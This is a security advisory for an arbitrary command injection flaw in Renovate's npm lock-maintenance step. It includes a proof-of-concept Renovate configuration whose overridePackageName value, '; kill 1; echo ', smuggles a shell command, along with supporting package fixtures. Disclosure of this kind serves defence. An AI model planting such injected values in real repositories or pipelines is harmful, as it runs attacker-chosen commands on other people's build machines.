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GHSA-fr4j-65pv-gjjj

MediumCVSS 6.7 / 10
Published Jan 13, 2026·Last modified Feb 3, 2026
Affected Components(0)

No affected components available

Description

Summary

The user-provided string packageName in the npm manager is appended to the npm install command during lock maintenance without proper sanitization.

Details

Adversaries can provide a maliciously crafted Renovate configuration file to trick Renovate to execute arbitrary code. The user-provided workspace names and package keys that are added to the updateCmd variables in lib/modules/manager/npm/post-update/npm.ts are not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 35.63.0 (https://github.com/renovatebot/renovate/commit/012c0ac2fe32832e60a62bde405c0a241efd314c), released on April 27 of 2023.

PoC

  1. Create a git repo with the following content:

renovate.json5:

{
  $schema: "https://docs.renovatebot.com/renovate-schema.json",
  customDatasources: {
    always: {
      defaultRegistryUrlTemplate: "https://docs.renovatebot.com/search/search_index.json",
      transformTemplates: ['{"releases":[{"version":"11.1.0"}]}'],
    },
  },
  packageRules: [
    {
      // Target of the day
      matchManagers: ["npm"],
      // Provide a command in the package name
      overridePackageName: "; kill 1; echo ",
      // Override the datasource to prevent a lookup failure
      overrideDatasource: "custom.always",
    },
  ],
}

package.json:

{
  "name": "renovate-aci-4",
  "version": "0.0.1",
  "dependencies": {
    "uuid": "^11.0.0"
  }
}

package-lock.json:

{
  "name": "renovate-aci-4",
  "version": "0.0.1",
  "lockfileVersion": 3,
  "requires": true,
  "packages": {
    "": {
      "name": "renovate-aci-4",
      "version": "0.0.1",
      "dependencies": {
        "uuid": "^11.0.0"
      }
    },
    "node_modules/uuid": {
      "version": "11.0.0",
      "resolved": "https://registry.npmjs.org/uuid/-/uuid-11.0.0.tgz",
      "integrity": "sha512-iE8Fa5fgBY4rN5GvNUJ8TSwO1QG7TzdPfhrJczf6XJ6mZUxh/GX433N70fCiJL9h8EKP5ayEIo0Q6EBQGWHFqA==",
      "funding": [
        "https://github.com/sponsors/broofa",
        "https://github.com/sponsors/ctavan"
      ],
      "license": "MIT",
      "bin": {
        "uuid": "dist/esm/bin/uuid"
      }
    }
  }
}

  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

[!NOTE] This specific proof of concept relies on the introduction of the overrideDatasource and overridePackageName configuration, available since version 38.120.0 (https://github.com/renovatebot/renovate/commit/a70a6a376d31148e80be5a5c885ac33ff5ddb30c), released on October 12 of 2024.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Risk Scores
Base Score
6.7

The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
6.1

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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